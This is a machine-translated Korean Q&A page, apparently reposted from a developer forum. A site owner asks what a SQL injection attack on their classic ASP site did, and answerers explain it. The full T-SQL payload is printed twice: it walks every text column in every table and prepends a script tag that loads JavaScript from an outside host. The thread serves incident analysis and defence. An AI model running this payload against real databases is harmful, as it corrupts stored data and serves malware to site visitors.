[SQL] 누군가가 나에게이 SQL 주입 공격을 설명 할 수 있습니까?
SQL누군가가 나에게이 SQL 주입 공격을 설명 할 수 있습니까?
나는 그것이 매우 관련 코딩대로 여기를 게시하고 싶어 내가 내 회사의 기존 ASP (고전) 사이트 중 하나에 이번 주에 정리했다 것이었다.
우리는 단지 몇 일 전에 실행 된 SQL 인젝션 공격에 맞았지만, 나는 (이 SQL 쿼리를 통해) 정확히 '피해'는 SQL 서버에 있었는지 내 머리를 긁적하고 있습니다.
솔직히 말해서, 나는이 수행 된 방법으로 재능이 매우라고 생각하고 내 회사없이 소독 입력에 약간의와 함께 오래 된 10 살 사이트를 가지고에 대한 비난.
공격:
무엇가 디코딩 : (내가 이해하고 싶은)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
우리는 백업 (사전 주사)를 복구하고, 전체 응용 프로그램을 통해 가서 모든 입력 문을 소독했다. 내가 이상 남아있을 수있는 그 밖의 무엇을 알고 싶어하지만 우리 서버는, 그래서 직접적인 SQL 접근을 방화벽, 그리고 나는 SQL 쿼리 내 머리입니다 인정해야한다.
누군가가 그것을 균열을 가지고 나를 위해 공격 SQL을 설명 할 수 있습니까?
사과 나는 전체 덤프 및 SQL 업데이트
해결법
-
==============================
1.그냥 많이 명확히 할 가독성을 위해 포맷 :
그냥 많이 명확히 할 가독성을 위해 포맷 :
set ansi_warnings off DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME, c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH > 30 and t.table_name = c.table_name and t.table_type = 'BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN EXEC ( 'UPDATE [' + @T + '] SET [' + @C + '] = ''"></title>'' + ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + ''<!--'' + RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) <> ''"></title><script'' ' ) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
그것은 모든 테이블의 모든 텍스트 컬럼을 통과하고 그것으로 일부 HTML을 삽입 - HTML 외부에서 생성 된 자바 스크립트에 대한 포인터를 포함하는.
-
==============================
2.그것은 모든 테이블의 모든 열을 통해 반복하고 소스가 악성 JS 파일에서 가리키는
'SQL' 카테고리의 다른 글
[SQL] 어떻게 PostgreSQL의 여러 값으로 SQL LIKE 조건을 사용 하는가? (0) | 2020.07.24 |
---|---|
[SQL] 하지 오라클을 존재하는 경우 삽입 (0) | 2020.07.24 |
[SQL] SQL 서버 오라클의 NULLS FIRST에 해당? (0) | 2020.07.24 |
[SQL] DBCC CHECKIDENT는 0으로 신원을 설정합니다 (0) | 2020.07.24 |
[SQL] 어떻게 열을 추가하고 하나의 MySQL의 문에서 외래 키 만드는 방법? (0) | 2020.07.24 |